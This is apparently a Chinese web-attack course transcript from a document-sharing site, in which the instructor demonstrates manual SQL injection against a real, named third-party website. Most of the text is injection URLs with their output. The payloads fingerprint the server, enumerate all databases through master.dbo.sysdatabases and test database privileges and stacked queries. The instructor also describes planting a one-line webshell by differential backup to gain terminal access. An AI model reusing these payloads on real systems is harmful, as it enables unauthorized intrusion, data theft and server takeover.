- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
作者:应要求不透露名字
化名:外星人(兵团高级成员)
大家好,我是负责本次web攻防课程的讲师!这次我们通过几个实例贯穿全课程,希望可以得到较好的效果。
好的 下面我们看一下http://www.mtufc.tv/newsdetail.asp?id=342 这个注入点。
http://www.mtufc.tv/newsdetail.asp?id=342’ url后面加’ 我们看爆出的信息。
Microsoft OLE DB Provider for ODBC Drivers error 80040e14
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string .
/newsdetail.asp, line 9
我们从而得知了他的数据库是mssql
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select @@version)—
查询到 数据库版本是Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=user_name();
当前数据库连接用户为newuser
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=db_name();--
当前数据库名为dbmtutd
这里我们延伸一下:小插曲,~.0~!!让我们把所有的数据库都爆出来如何?也许是个不错的主意,因为mssql是可以跨库查询的,这意味着什么? 嘿嘿!
and 1=(select name from master.dbo.sysdatabases where dbid=7)-- //暴库 dbid=6 递增或递减数字来爆出所有库名
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select name from master.dbo.sysdatabases where dbid=1)—
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select name from master.dbo.sysdatabases where dbid=2)--
…….
最后我们得到了所有数据库。。。。
master, tempdb, model, msdb, pubs, Northwind, sitebuilder18116D05DA2EAB740940AA01C8CCF0CA, classified, thai_g_dnn, ULTECH2, chili, dbmtutd, thl_bronze,
《SQL Server手注暴库表列数据》 里列出了详细的跨库利用方法,在此不在讲解了,大家课下看一下!
好吧插曲结束,我们继续课程
Mssql数据库有着很多用户组,他们代表着不同的权限。那么我们来检测newuser用户的权限吧。
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select IS_SRVROLEMEMBER(sysadmin));--
返回页面不正常,很遗憾不是sa权限。
http://www.mtufc.tv/newsdetail.asp?id=342 and 1=(select IS_MEMBER(db_owner));--
这条语句返回是正常的,好吧是db_owner权限,DB可以做很多事情,比如列出服务器目录,以及在差异备份一句话到WEB目录,或者任何有权限的目录,运气好的话直接备份进启动项拿到终端权限。
接下来我们来查询数据库是否支持多行执行,上面说到DB权限可以差异备份一句话到web目录,可是必须在数据库支持多行执行的情况下才行,那么就让我们看看吧。
http://www.mtufc.tv/newsdetail.asp?id=342;declare @a int—
返回正常说明支持多行执行,返回错误则反之。显而易见这个站支持多行执行。先不要高兴的太早,我们往下看。
为了让大家学到有趣的东西,我们依然不走捷径,为了表示上次太过于自信而没有做任何备课,此次我在课前做了大量的测试,那么让我们继续我们的课程。
and (select count(*) from *)=0 好吧让我们用这条语句来猜测网站的管理表
文档评论(0)